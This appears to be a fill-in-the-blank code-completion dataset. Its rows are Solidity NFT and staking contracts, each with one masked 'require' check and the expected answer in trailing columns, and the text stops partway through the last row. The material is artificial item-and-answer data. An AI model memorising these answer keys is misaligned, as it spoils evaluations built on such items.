require(_newLotManager != address(0) && ILotManagerMetadata(_newLotManager).isLotManager(), 'LotManagerV2Migrable::_migrate::not-a-lot-manager');
require(<FILL_ME>)
hegicStakingETH.transfer(_newLotManager, hegicStakingETH.balanceOf(address(this)));
hegicStakingWBTC.transfer(_newLotManager, hegicStakingWBTC.balanceOf(address(this)));
token.transfer(address(pool), token.balanceOf(address(this)));
emit LotManagerMigrated(_newLotManager);
}
}
| address(ILotManagerV2ProtocolParameters(_newLotManager).pool())==address(pool),'LotManagerV2Migrable::_migrate::migrate-pool-discrepancy' | 39,150 | address(ILotManagerV2ProtocolParameters(_newLotManager).pool())==address(pool) |
"9" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./ERC721A.sol";
import "./SafeMath.sol";
interface IKeys {
function purchaseTokenForAddress(address receiver) external payable;
}
/*
Welcome to Meta Mansions, a collection of 8,888 unique digital mansions
built on Ethereum as the core residency of the KEYS Metaverse.
Meta Mansions is more than an NFT; it’s part of your identity.
Utilities include customization of interior spaces, active & passive income streams,
a powerful community, and priority access for special events in real life and
inside the KEYS Metaverse.
World-renown architects, builders, game designers, businesses, brands,
musicians, athletes, and web3 enthusiasts connect to create a decentralized future.
Let’s re-imagine the way we live, work, play, earn, and learn by
creating the next wave of real estate and the KEYS Metaverse experience.
Join our community
Discord: https://discord.gg/keystoken
Instagram: https://www.instagram.com/metamansions.nft
Twitter: https://www.twitter.com/metamansionsnft
*/
contract MetaMansions is ERC721A, Ownable {
using SafeMath for uint256;
// Merkle Root for Mamba (Tier 1) Whitelist (18 mints)
bytes32 public mambaRoot;
// Merkle Root for Whale (Tier 2) Whitelist (8 mints)
bytes32 public whaleRoot;
// Merkle Root for Stacker (Tier 3) Whitelist (2 mints)
bytes32 public stackerRoot;
// Mamba Whitelist Active
bool public isMambaActive;
// Whale Whitelist Active
bool public isWhaleActive;
// Stacker Whitelist Active
bool public isStackerActive;
// Public Sale Active
bool public isPublicSaleActive;
// Reveal
bool public revealed;
// Price
uint256 public constant price = 0.88 ether;
// Max Amount
uint256 public constant maxAmount = 8888;
// Base URI
string private baseURI;
// Tracks redeem count for public sale
mapping(address => uint256) private saleRedeemedCount;
// Max per wallet for Mamba Whitelist
uint256 private constant mambaMaxPerWallet = 18;
// Max per wallet for Whale Whitelist
uint256 private constant whaleMaxPerWallet = 8;
// Max per wallet for Stacker Whitelist
uint256 private constant stackerMaxPerWallet = 2;
// Max mints per wallet for public sale
uint256 private constant publicSaleMaxPerWallet = 88;
// KEYS Contract
address private constant KEYS = 0xe0a189C975e4928222978A74517442239a0b86ff;
// Locked KEYS Contract
address private constant LOCKED_KEYS = 0x08DC692FE528fFEcF675Ab3f76981553e060Fd8A;
// 100 KEYS needed for minting
uint256 public keysNeededForMinting = 97 * 10**9;
/////////////////////////////////////////////////////////////////
///////////////////// CONSTRUCTOR /////////////////////////////
/////////////////////////////////////////////////////////////////
constructor()
ERC721A("MetaMansions", "MM", 18) {}
// Receive function in case someone wants to donate some ETH to the contract
receive() external payable {}
/////////////////////////////////////////////////////////////////
///////////////////// MINT FUNCTIONALITY //////////////////////
/////////////////////////////////////////////////////////////////
function mint(uint32 quantity, bytes32[] calldata proof, uint32 tier) external payable {
require(tier == 0 || tier == 1 || tier == 2, "11");
// extra eth needed to buy keys if applicable
uint256 additional = hasKeys(_msgSender()) ? 0 : 0.01 ether;
// Check if the price is enough
require(<FILL_ME>)
if (tier == 0) {
mambaValidation(quantity, proof);
} else if (tier == 1) {
whaleValidation(quantity, proof);
} else if (tier == 2) {
stackerValidation(quantity, proof);
}
if (!hasKeys(_msgSender())) {
_purchaseKEYS(_msgSender());
}
// Mint tokens to sender
_mintToken(_msgSender(), quantity);
}
function mint(uint256 quantity) external payable {
}
function mint(address to, uint256 quantity) external onlyOwner {
}
function _mintToken(address to, uint256 quantity) internal {
}
// Gives the tokenURI for a given tokenId
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function getTotalClaimed(address address_) external view returns (uint256) {
}
/////////////////////////////////////////////////////////////////
///////////////////// OWNER ONLY //////////////////////////////
/////////////////////////////////////////////////////////////////
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setMambaRoot(bytes32 root) external onlyOwner {
}
function setWhaleRoot(bytes32 root) external onlyOwner {
}
function setStackerRoot(bytes32 root) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function toggleMambaActive() external onlyOwner {
}
function toggleWhaleActive() external onlyOwner {
}
function toggleStackerActive() external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function withdraw() public onlyOwner {
}
/////////////////////////////////////////////////////////////////
//////////////////////// VALIDATIONS //////////////////////////
/////////////////////////////////////////////////////////////////
function mambaValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function whaleValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function stackerValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function hasKeys(address receiver) public view returns (bool) {
}
function _purchaseKEYS(address receiver) internal {
}
}
| msg.value>=(price*quantity)+additional,"9" | 39,193 | msg.value>=(price*quantity)+additional |
"3" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./ERC721A.sol";
import "./SafeMath.sol";
interface IKeys {
function purchaseTokenForAddress(address receiver) external payable;
}
/*
Welcome to Meta Mansions, a collection of 8,888 unique digital mansions
built on Ethereum as the core residency of the KEYS Metaverse.
Meta Mansions is more than an NFT; it’s part of your identity.
Utilities include customization of interior spaces, active & passive income streams,
a powerful community, and priority access for special events in real life and
inside the KEYS Metaverse.
World-renown architects, builders, game designers, businesses, brands,
musicians, athletes, and web3 enthusiasts connect to create a decentralized future.
Let’s re-imagine the way we live, work, play, earn, and learn by
creating the next wave of real estate and the KEYS Metaverse experience.
Join our community
Discord: https://discord.gg/keystoken
Instagram: https://www.instagram.com/metamansions.nft
Twitter: https://www.twitter.com/metamansionsnft
*/
contract MetaMansions is ERC721A, Ownable {
using SafeMath for uint256;
// Merkle Root for Mamba (Tier 1) Whitelist (18 mints)
bytes32 public mambaRoot;
// Merkle Root for Whale (Tier 2) Whitelist (8 mints)
bytes32 public whaleRoot;
// Merkle Root for Stacker (Tier 3) Whitelist (2 mints)
bytes32 public stackerRoot;
// Mamba Whitelist Active
bool public isMambaActive;
// Whale Whitelist Active
bool public isWhaleActive;
// Stacker Whitelist Active
bool public isStackerActive;
// Public Sale Active
bool public isPublicSaleActive;
// Reveal
bool public revealed;
// Price
uint256 public constant price = 0.88 ether;
// Max Amount
uint256 public constant maxAmount = 8888;
// Base URI
string private baseURI;
// Tracks redeem count for public sale
mapping(address => uint256) private saleRedeemedCount;
// Max per wallet for Mamba Whitelist
uint256 private constant mambaMaxPerWallet = 18;
// Max per wallet for Whale Whitelist
uint256 private constant whaleMaxPerWallet = 8;
// Max per wallet for Stacker Whitelist
uint256 private constant stackerMaxPerWallet = 2;
// Max mints per wallet for public sale
uint256 private constant publicSaleMaxPerWallet = 88;
// KEYS Contract
address private constant KEYS = 0xe0a189C975e4928222978A74517442239a0b86ff;
// Locked KEYS Contract
address private constant LOCKED_KEYS = 0x08DC692FE528fFEcF675Ab3f76981553e060Fd8A;
// 100 KEYS needed for minting
uint256 public keysNeededForMinting = 97 * 10**9;
/////////////////////////////////////////////////////////////////
///////////////////// CONSTRUCTOR /////////////////////////////
/////////////////////////////////////////////////////////////////
constructor()
ERC721A("MetaMansions", "MM", 18) {}
// Receive function in case someone wants to donate some ETH to the contract
receive() external payable {}
/////////////////////////////////////////////////////////////////
///////////////////// MINT FUNCTIONALITY //////////////////////
/////////////////////////////////////////////////////////////////
function mint(uint32 quantity, bytes32[] calldata proof, uint32 tier) external payable {
}
function mint(uint256 quantity) external payable {
}
function mint(address to, uint256 quantity) external onlyOwner {
}
function _mintToken(address to, uint256 quantity) internal {
require(<FILL_ME>)
require(quantity <= maxBatchSize, "4");
_safeMint(to, quantity);
}
// Gives the tokenURI for a given tokenId
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function getTotalClaimed(address address_) external view returns (uint256) {
}
/////////////////////////////////////////////////////////////////
///////////////////// OWNER ONLY //////////////////////////////
/////////////////////////////////////////////////////////////////
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setMambaRoot(bytes32 root) external onlyOwner {
}
function setWhaleRoot(bytes32 root) external onlyOwner {
}
function setStackerRoot(bytes32 root) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function toggleMambaActive() external onlyOwner {
}
function toggleWhaleActive() external onlyOwner {
}
function toggleStackerActive() external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function withdraw() public onlyOwner {
}
/////////////////////////////////////////////////////////////////
//////////////////////// VALIDATIONS //////////////////////////
/////////////////////////////////////////////////////////////////
function mambaValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function whaleValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function stackerValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function hasKeys(address receiver) public view returns (bool) {
}
function _purchaseKEYS(address receiver) internal {
}
}
| quantity+totalSupply()<=maxAmount,"3" | 39,193 | quantity+totalSupply()<=maxAmount |
"5" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./ERC721A.sol";
import "./SafeMath.sol";
interface IKeys {
function purchaseTokenForAddress(address receiver) external payable;
}
/*
Welcome to Meta Mansions, a collection of 8,888 unique digital mansions
built on Ethereum as the core residency of the KEYS Metaverse.
Meta Mansions is more than an NFT; it’s part of your identity.
Utilities include customization of interior spaces, active & passive income streams,
a powerful community, and priority access for special events in real life and
inside the KEYS Metaverse.
World-renown architects, builders, game designers, businesses, brands,
musicians, athletes, and web3 enthusiasts connect to create a decentralized future.
Let’s re-imagine the way we live, work, play, earn, and learn by
creating the next wave of real estate and the KEYS Metaverse experience.
Join our community
Discord: https://discord.gg/keystoken
Instagram: https://www.instagram.com/metamansions.nft
Twitter: https://www.twitter.com/metamansionsnft
*/
contract MetaMansions is ERC721A, Ownable {
using SafeMath for uint256;
// Merkle Root for Mamba (Tier 1) Whitelist (18 mints)
bytes32 public mambaRoot;
// Merkle Root for Whale (Tier 2) Whitelist (8 mints)
bytes32 public whaleRoot;
// Merkle Root for Stacker (Tier 3) Whitelist (2 mints)
bytes32 public stackerRoot;
// Mamba Whitelist Active
bool public isMambaActive;
// Whale Whitelist Active
bool public isWhaleActive;
// Stacker Whitelist Active
bool public isStackerActive;
// Public Sale Active
bool public isPublicSaleActive;
// Reveal
bool public revealed;
// Price
uint256 public constant price = 0.88 ether;
// Max Amount
uint256 public constant maxAmount = 8888;
// Base URI
string private baseURI;
// Tracks redeem count for public sale
mapping(address => uint256) private saleRedeemedCount;
// Max per wallet for Mamba Whitelist
uint256 private constant mambaMaxPerWallet = 18;
// Max per wallet for Whale Whitelist
uint256 private constant whaleMaxPerWallet = 8;
// Max per wallet for Stacker Whitelist
uint256 private constant stackerMaxPerWallet = 2;
// Max mints per wallet for public sale
uint256 private constant publicSaleMaxPerWallet = 88;
// KEYS Contract
address private constant KEYS = 0xe0a189C975e4928222978A74517442239a0b86ff;
// Locked KEYS Contract
address private constant LOCKED_KEYS = 0x08DC692FE528fFEcF675Ab3f76981553e060Fd8A;
// 100 KEYS needed for minting
uint256 public keysNeededForMinting = 97 * 10**9;
/////////////////////////////////////////////////////////////////
///////////////////// CONSTRUCTOR /////////////////////////////
/////////////////////////////////////////////////////////////////
constructor()
ERC721A("MetaMansions", "MM", 18) {}
// Receive function in case someone wants to donate some ETH to the contract
receive() external payable {}
/////////////////////////////////////////////////////////////////
///////////////////// MINT FUNCTIONALITY //////////////////////
/////////////////////////////////////////////////////////////////
function mint(uint32 quantity, bytes32[] calldata proof, uint32 tier) external payable {
}
function mint(uint256 quantity) external payable {
}
function mint(address to, uint256 quantity) external onlyOwner {
}
function _mintToken(address to, uint256 quantity) internal {
}
// Gives the tokenURI for a given tokenId
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function getTotalClaimed(address address_) external view returns (uint256) {
}
/////////////////////////////////////////////////////////////////
///////////////////// OWNER ONLY //////////////////////////////
/////////////////////////////////////////////////////////////////
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setMambaRoot(bytes32 root) external onlyOwner {
}
function setWhaleRoot(bytes32 root) external onlyOwner {
}
function setStackerRoot(bytes32 root) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function toggleMambaActive() external onlyOwner {
}
function toggleWhaleActive() external onlyOwner {
}
function toggleStackerActive() external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function withdraw() public onlyOwner {
}
/////////////////////////////////////////////////////////////////
//////////////////////// VALIDATIONS //////////////////////////
/////////////////////////////////////////////////////////////////
function mambaValidation(uint32 quantity, bytes32[] calldata proof) internal {
// Check if the mamba is active
require(isMambaActive, "0");
// Check if whitelist using Merkle Proof
require(<FILL_ME>)
// Add quantity to total redeemed count of sender
saleRedeemedCount[_msgSender()] += quantity;
// Check if Mamba WL already redeemed
require(saleRedeemedCount[_msgSender()] <= mambaMaxPerWallet, "8");
}
function whaleValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function stackerValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function hasKeys(address receiver) public view returns (bool) {
}
function _purchaseKEYS(address receiver) internal {
}
}
| MerkleProof.verify(proof,mambaRoot,keccak256(abi.encodePacked(_msgSender()))),"5" | 39,193 | MerkleProof.verify(proof,mambaRoot,keccak256(abi.encodePacked(_msgSender()))) |
"8" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./ERC721A.sol";
import "./SafeMath.sol";
interface IKeys {
function purchaseTokenForAddress(address receiver) external payable;
}
/*
Welcome to Meta Mansions, a collection of 8,888 unique digital mansions
built on Ethereum as the core residency of the KEYS Metaverse.
Meta Mansions is more than an NFT; it’s part of your identity.
Utilities include customization of interior spaces, active & passive income streams,
a powerful community, and priority access for special events in real life and
inside the KEYS Metaverse.
World-renown architects, builders, game designers, businesses, brands,
musicians, athletes, and web3 enthusiasts connect to create a decentralized future.
Let’s re-imagine the way we live, work, play, earn, and learn by
creating the next wave of real estate and the KEYS Metaverse experience.
Join our community
Discord: https://discord.gg/keystoken
Instagram: https://www.instagram.com/metamansions.nft
Twitter: https://www.twitter.com/metamansionsnft
*/
contract MetaMansions is ERC721A, Ownable {
using SafeMath for uint256;
// Merkle Root for Mamba (Tier 1) Whitelist (18 mints)
bytes32 public mambaRoot;
// Merkle Root for Whale (Tier 2) Whitelist (8 mints)
bytes32 public whaleRoot;
// Merkle Root for Stacker (Tier 3) Whitelist (2 mints)
bytes32 public stackerRoot;
// Mamba Whitelist Active
bool public isMambaActive;
// Whale Whitelist Active
bool public isWhaleActive;
// Stacker Whitelist Active
bool public isStackerActive;
// Public Sale Active
bool public isPublicSaleActive;
// Reveal
bool public revealed;
// Price
uint256 public constant price = 0.88 ether;
// Max Amount
uint256 public constant maxAmount = 8888;
// Base URI
string private baseURI;
// Tracks redeem count for public sale
mapping(address => uint256) private saleRedeemedCount;
// Max per wallet for Mamba Whitelist
uint256 private constant mambaMaxPerWallet = 18;
// Max per wallet for Whale Whitelist
uint256 private constant whaleMaxPerWallet = 8;
// Max per wallet for Stacker Whitelist
uint256 private constant stackerMaxPerWallet = 2;
// Max mints per wallet for public sale
uint256 private constant publicSaleMaxPerWallet = 88;
// KEYS Contract
address private constant KEYS = 0xe0a189C975e4928222978A74517442239a0b86ff;
// Locked KEYS Contract
address private constant LOCKED_KEYS = 0x08DC692FE528fFEcF675Ab3f76981553e060Fd8A;
// 100 KEYS needed for minting
uint256 public keysNeededForMinting = 97 * 10**9;
/////////////////////////////////////////////////////////////////
///////////////////// CONSTRUCTOR /////////////////////////////
/////////////////////////////////////////////////////////////////
constructor()
ERC721A("MetaMansions", "MM", 18) {}
// Receive function in case someone wants to donate some ETH to the contract
receive() external payable {}
/////////////////////////////////////////////////////////////////
///////////////////// MINT FUNCTIONALITY //////////////////////
/////////////////////////////////////////////////////////////////
function mint(uint32 quantity, bytes32[] calldata proof, uint32 tier) external payable {
}
function mint(uint256 quantity) external payable {
}
function mint(address to, uint256 quantity) external onlyOwner {
}
function _mintToken(address to, uint256 quantity) internal {
}
// Gives the tokenURI for a given tokenId
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function getTotalClaimed(address address_) external view returns (uint256) {
}
/////////////////////////////////////////////////////////////////
///////////////////// OWNER ONLY //////////////////////////////
/////////////////////////////////////////////////////////////////
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setMambaRoot(bytes32 root) external onlyOwner {
}
function setWhaleRoot(bytes32 root) external onlyOwner {
}
function setStackerRoot(bytes32 root) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function toggleMambaActive() external onlyOwner {
}
function toggleWhaleActive() external onlyOwner {
}
function toggleStackerActive() external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function withdraw() public onlyOwner {
}
/////////////////////////////////////////////////////////////////
//////////////////////// VALIDATIONS //////////////////////////
/////////////////////////////////////////////////////////////////
function mambaValidation(uint32 quantity, bytes32[] calldata proof) internal {
// Check if the mamba is active
require(isMambaActive, "0");
// Check if whitelist using Merkle Proof
require(
MerkleProof.verify(
proof,
mambaRoot,
keccak256(abi.encodePacked(_msgSender()))
),
"5"
);
// Add quantity to total redeemed count of sender
saleRedeemedCount[_msgSender()] += quantity;
// Check if Mamba WL already redeemed
require(<FILL_ME>)
}
function whaleValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function stackerValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function hasKeys(address receiver) public view returns (bool) {
}
function _purchaseKEYS(address receiver) internal {
}
}
| saleRedeemedCount[_msgSender()]<=mambaMaxPerWallet,"8" | 39,193 | saleRedeemedCount[_msgSender()]<=mambaMaxPerWallet |
"6" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./ERC721A.sol";
import "./SafeMath.sol";
interface IKeys {
function purchaseTokenForAddress(address receiver) external payable;
}
/*
Welcome to Meta Mansions, a collection of 8,888 unique digital mansions
built on Ethereum as the core residency of the KEYS Metaverse.
Meta Mansions is more than an NFT; it’s part of your identity.
Utilities include customization of interior spaces, active & passive income streams,
a powerful community, and priority access for special events in real life and
inside the KEYS Metaverse.
World-renown architects, builders, game designers, businesses, brands,
musicians, athletes, and web3 enthusiasts connect to create a decentralized future.
Let’s re-imagine the way we live, work, play, earn, and learn by
creating the next wave of real estate and the KEYS Metaverse experience.
Join our community
Discord: https://discord.gg/keystoken
Instagram: https://www.instagram.com/metamansions.nft
Twitter: https://www.twitter.com/metamansionsnft
*/
contract MetaMansions is ERC721A, Ownable {
using SafeMath for uint256;
// Merkle Root for Mamba (Tier 1) Whitelist (18 mints)
bytes32 public mambaRoot;
// Merkle Root for Whale (Tier 2) Whitelist (8 mints)
bytes32 public whaleRoot;
// Merkle Root for Stacker (Tier 3) Whitelist (2 mints)
bytes32 public stackerRoot;
// Mamba Whitelist Active
bool public isMambaActive;
// Whale Whitelist Active
bool public isWhaleActive;
// Stacker Whitelist Active
bool public isStackerActive;
// Public Sale Active
bool public isPublicSaleActive;
// Reveal
bool public revealed;
// Price
uint256 public constant price = 0.88 ether;
// Max Amount
uint256 public constant maxAmount = 8888;
// Base URI
string private baseURI;
// Tracks redeem count for public sale
mapping(address => uint256) private saleRedeemedCount;
// Max per wallet for Mamba Whitelist
uint256 private constant mambaMaxPerWallet = 18;
// Max per wallet for Whale Whitelist
uint256 private constant whaleMaxPerWallet = 8;
// Max per wallet for Stacker Whitelist
uint256 private constant stackerMaxPerWallet = 2;
// Max mints per wallet for public sale
uint256 private constant publicSaleMaxPerWallet = 88;
// KEYS Contract
address private constant KEYS = 0xe0a189C975e4928222978A74517442239a0b86ff;
// Locked KEYS Contract
address private constant LOCKED_KEYS = 0x08DC692FE528fFEcF675Ab3f76981553e060Fd8A;
// 100 KEYS needed for minting
uint256 public keysNeededForMinting = 97 * 10**9;
/////////////////////////////////////////////////////////////////
///////////////////// CONSTRUCTOR /////////////////////////////
/////////////////////////////////////////////////////////////////
constructor()
ERC721A("MetaMansions", "MM", 18) {}
// Receive function in case someone wants to donate some ETH to the contract
receive() external payable {}
/////////////////////////////////////////////////////////////////
///////////////////// MINT FUNCTIONALITY //////////////////////
/////////////////////////////////////////////////////////////////
function mint(uint32 quantity, bytes32[] calldata proof, uint32 tier) external payable {
}
function mint(uint256 quantity) external payable {
}
function mint(address to, uint256 quantity) external onlyOwner {
}
function _mintToken(address to, uint256 quantity) internal {
}
// Gives the tokenURI for a given tokenId
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function getTotalClaimed(address address_) external view returns (uint256) {
}
/////////////////////////////////////////////////////////////////
///////////////////// OWNER ONLY //////////////////////////////
/////////////////////////////////////////////////////////////////
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setMambaRoot(bytes32 root) external onlyOwner {
}
function setWhaleRoot(bytes32 root) external onlyOwner {
}
function setStackerRoot(bytes32 root) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function toggleMambaActive() external onlyOwner {
}
function toggleWhaleActive() external onlyOwner {
}
function toggleStackerActive() external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function withdraw() public onlyOwner {
}
/////////////////////////////////////////////////////////////////
//////////////////////// VALIDATIONS //////////////////////////
/////////////////////////////////////////////////////////////////
function mambaValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function whaleValidation(uint32 quantity, bytes32[] calldata proof) internal {
// Check if the whale is active
require(isWhaleActive, "1");
// Check if whitelist using Merkle Proof
require(<FILL_ME>)
// Add quantity to total redeemed count of sender
saleRedeemedCount[_msgSender()] += quantity;
// Check if Whale WL already minted
require(saleRedeemedCount[_msgSender()] <= whaleMaxPerWallet, "8");
}
function stackerValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function hasKeys(address receiver) public view returns (bool) {
}
function _purchaseKEYS(address receiver) internal {
}
}
| MerkleProof.verify(proof,whaleRoot,keccak256(abi.encodePacked(_msgSender()))),"6" | 39,193 | MerkleProof.verify(proof,whaleRoot,keccak256(abi.encodePacked(_msgSender()))) |
"8" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./ERC721A.sol";
import "./SafeMath.sol";
interface IKeys {
function purchaseTokenForAddress(address receiver) external payable;
}
/*
Welcome to Meta Mansions, a collection of 8,888 unique digital mansions
built on Ethereum as the core residency of the KEYS Metaverse.
Meta Mansions is more than an NFT; it’s part of your identity.
Utilities include customization of interior spaces, active & passive income streams,
a powerful community, and priority access for special events in real life and
inside the KEYS Metaverse.
World-renown architects, builders, game designers, businesses, brands,
musicians, athletes, and web3 enthusiasts connect to create a decentralized future.
Let’s re-imagine the way we live, work, play, earn, and learn by
creating the next wave of real estate and the KEYS Metaverse experience.
Join our community
Discord: https://discord.gg/keystoken
Instagram: https://www.instagram.com/metamansions.nft
Twitter: https://www.twitter.com/metamansionsnft
*/
contract MetaMansions is ERC721A, Ownable {
using SafeMath for uint256;
// Merkle Root for Mamba (Tier 1) Whitelist (18 mints)
bytes32 public mambaRoot;
// Merkle Root for Whale (Tier 2) Whitelist (8 mints)
bytes32 public whaleRoot;
// Merkle Root for Stacker (Tier 3) Whitelist (2 mints)
bytes32 public stackerRoot;
// Mamba Whitelist Active
bool public isMambaActive;
// Whale Whitelist Active
bool public isWhaleActive;
// Stacker Whitelist Active
bool public isStackerActive;
// Public Sale Active
bool public isPublicSaleActive;
// Reveal
bool public revealed;
// Price
uint256 public constant price = 0.88 ether;
// Max Amount
uint256 public constant maxAmount = 8888;
// Base URI
string private baseURI;
// Tracks redeem count for public sale
mapping(address => uint256) private saleRedeemedCount;
// Max per wallet for Mamba Whitelist
uint256 private constant mambaMaxPerWallet = 18;
// Max per wallet for Whale Whitelist
uint256 private constant whaleMaxPerWallet = 8;
// Max per wallet for Stacker Whitelist
uint256 private constant stackerMaxPerWallet = 2;
// Max mints per wallet for public sale
uint256 private constant publicSaleMaxPerWallet = 88;
// KEYS Contract
address private constant KEYS = 0xe0a189C975e4928222978A74517442239a0b86ff;
// Locked KEYS Contract
address private constant LOCKED_KEYS = 0x08DC692FE528fFEcF675Ab3f76981553e060Fd8A;
// 100 KEYS needed for minting
uint256 public keysNeededForMinting = 97 * 10**9;
/////////////////////////////////////////////////////////////////
///////////////////// CONSTRUCTOR /////////////////////////////
/////////////////////////////////////////////////////////////////
constructor()
ERC721A("MetaMansions", "MM", 18) {}
// Receive function in case someone wants to donate some ETH to the contract
receive() external payable {}
/////////////////////////////////////////////////////////////////
///////////////////// MINT FUNCTIONALITY //////////////////////
/////////////////////////////////////////////////////////////////
function mint(uint32 quantity, bytes32[] calldata proof, uint32 tier) external payable {
}
function mint(uint256 quantity) external payable {
}
function mint(address to, uint256 quantity) external onlyOwner {
}
function _mintToken(address to, uint256 quantity) internal {
}
// Gives the tokenURI for a given tokenId
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function getTotalClaimed(address address_) external view returns (uint256) {
}
/////////////////////////////////////////////////////////////////
///////////////////// OWNER ONLY //////////////////////////////
/////////////////////////////////////////////////////////////////
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setMambaRoot(bytes32 root) external onlyOwner {
}
function setWhaleRoot(bytes32 root) external onlyOwner {
}
function setStackerRoot(bytes32 root) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function toggleMambaActive() external onlyOwner {
}
function toggleWhaleActive() external onlyOwner {
}
function toggleStackerActive() external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function withdraw() public onlyOwner {
}
/////////////////////////////////////////////////////////////////
//////////////////////// VALIDATIONS //////////////////////////
/////////////////////////////////////////////////////////////////
function mambaValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function whaleValidation(uint32 quantity, bytes32[] calldata proof) internal {
// Check if the whale is active
require(isWhaleActive, "1");
// Check if whitelist using Merkle Proof
require(
MerkleProof.verify(
proof,
whaleRoot,
keccak256(abi.encodePacked(_msgSender()))
),
"6"
);
// Add quantity to total redeemed count of sender
saleRedeemedCount[_msgSender()] += quantity;
// Check if Whale WL already minted
require(<FILL_ME>)
}
function stackerValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function hasKeys(address receiver) public view returns (bool) {
}
function _purchaseKEYS(address receiver) internal {
}
}
| saleRedeemedCount[_msgSender()]<=whaleMaxPerWallet,"8" | 39,193 | saleRedeemedCount[_msgSender()]<=whaleMaxPerWallet |
"7" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./ERC721A.sol";
import "./SafeMath.sol";
interface IKeys {
function purchaseTokenForAddress(address receiver) external payable;
}
/*
Welcome to Meta Mansions, a collection of 8,888 unique digital mansions
built on Ethereum as the core residency of the KEYS Metaverse.
Meta Mansions is more than an NFT; it’s part of your identity.
Utilities include customization of interior spaces, active & passive income streams,
a powerful community, and priority access for special events in real life and
inside the KEYS Metaverse.
World-renown architects, builders, game designers, businesses, brands,
musicians, athletes, and web3 enthusiasts connect to create a decentralized future.
Let’s re-imagine the way we live, work, play, earn, and learn by
creating the next wave of real estate and the KEYS Metaverse experience.
Join our community
Discord: https://discord.gg/keystoken
Instagram: https://www.instagram.com/metamansions.nft
Twitter: https://www.twitter.com/metamansionsnft
*/
contract MetaMansions is ERC721A, Ownable {
using SafeMath for uint256;
// Merkle Root for Mamba (Tier 1) Whitelist (18 mints)
bytes32 public mambaRoot;
